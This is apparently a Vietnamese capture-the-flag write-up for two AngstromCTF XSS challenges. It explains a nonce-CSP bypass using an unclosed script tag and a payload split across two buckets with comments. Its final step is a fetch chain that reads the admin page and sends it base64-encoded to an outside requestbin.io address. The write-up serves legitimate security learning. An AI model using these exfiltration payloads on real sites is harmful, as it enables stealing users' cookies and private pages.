AngstromCTF

look.a

really close to solve jason :(

** nomnomnom

nhìn vào source ta thấy có thể đây là một chall xss vì có bot.

/record

ta thấy có 2 thứ mà mình control được là name và score, sau đó được redirect tới /shares/sharename

ở đây ta có thể get được flag nếu cookie được set đúng :v

đồng thời nonce được khởi tạo random, thứ sẽ được dùng ở lệnh bên dưới

name được render ngay trước script chứa nonce??? mà không có bất kỳ tag nào khác cản trở?

vậy ta có thể fake 1 script kiểu này

name=<script

code trong server trở thành

vì name của mình chứa <script chưa đóng tag, nên trình duyệt sẽ tìm tới ">" gần nhất kể từ name để đóng lại => phần <script nonce='' trở thành thuộc tính của script mình đã fake ở trên, nên bypass được nonce csp ở đây.

bây giờ mình chỉ cần load được script từ nguồn khác là done.

giờ chỉ cần đổi alert thành fetch sẽ lấy được cookie, có cookie thay vào là done

** reaction.py

ở bài này thì mình vẫn được cung cấp source, nên nhìn qua một lượt như sau.

source dài khoảng 300 dòng nên mình sẽ chỉ focus vào những thứ quan trọng.

app có chức năng đăng ký, đăng nhập, tạo contest mới, reset contest và admin bot.

bài này tiếp tục là xss. hmm

/newcomp

template nó như sau

gồm có 3 chức năng quan trọng, welcom,thằng này phải nằm ở bucket đầu tiên, freq là đếm ký tự nào được lặp nhiều nhất, đồng thời xóa đi các ký tự lặp. text thì thoải mái nhưng bị excape input của mình => không thể sự dụng tag ở đây.

mình có thể trigger xss ở freq như sau.

trigger được alert là một chuyện nhưng đọc được cookie hay không là chuyện khác.

vì flag nằm ở admin bucket nên để đọc được thì cần một script khá dài

đến đây mình nghĩ nên sử dụng một shortest domain để load script, but nhà nghèo nên không có tiền mua domain.

nên mình nghĩ hướng khác.

vì mỗi user được tạo tối đa 2 bucket, ở text thì mình không thể tạo tag html nhưng freq thì có, vậy how about kết hợp cả 2??

lets try.

but vẫn chưa work tại vì không đúng cú pháp của js, quá nhiều tạp chất :v

mình sử dụng cmt để cmt lại đống tạp chất như sau

trigger đc alert rồi thì triển thôi.

flag nằm ở bucket admin

các bước để làm như sau

  1. reset bucket

  2. send newcomp với name=welcom&cfg=

  3. bắt request ở submit to contest,chuyển request đó sang repeat, đồng thời drop request đó.

  4. reset lại bucket

  5. send newcomp với name=freq&cfg=<script>/*

  6. send newcomp với name=text&cfg=*/fetch(/?fakeuser=admin,{mode%3a+no-cors}).then(function+(response){return+response.text()}).then(function+(html){fetch(https%3a//requestbin.io/1otlfme1/cc%3d%2bbtoa(html),{mode%3a+no-cors})})//

  7. send request của submit to contest lúc nãy ở tab repeat.

decode to get flag.

Last updated

Was this helpful?